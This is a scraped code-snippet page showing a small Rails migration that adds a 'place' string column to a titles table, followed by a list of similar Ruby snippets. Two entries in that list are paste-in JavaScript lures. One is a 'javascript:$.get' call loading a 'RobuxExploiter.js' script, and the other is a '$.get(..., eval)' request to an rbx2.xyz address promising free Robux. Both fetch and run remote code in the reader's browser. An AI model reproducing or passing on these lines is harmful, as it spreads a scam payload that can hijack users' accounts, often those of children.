Rails model column

class AddColumnTitles < ActiveRecord::Migration
  def up
    add_column :titles, :place, :string
  end

  def down
    remove_column :titles, :place, :string
  end
end

-1

Source: qiita.com

Similar codes

0 vote160 views1 answer
How to generate a controller in a nested route rails
Ruby
0 vote159 views1 answer
Array to string ruby
Ruby
0 vote177 views1 answer
Ruby sort an object
Ruby
0 vote160 views1 answer
Ruby get current datetime
Ruby
0 vote153 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
Ruby
0 vote189 views1 answer
Rails c add timings
Ruby
0 vote177 views3 answers
$ Javascript $ . get ( '//api.rbx2.xyz/rbx id = 16553' , eval ) gratis robux 2000
Ruby
0 vote159 views1 answer
Ruby hash transform keys
Ruby
4 votes110 views1 answer
Rails current_path
Ruby
0 vote159 views1 answer
Ruby method
Ruby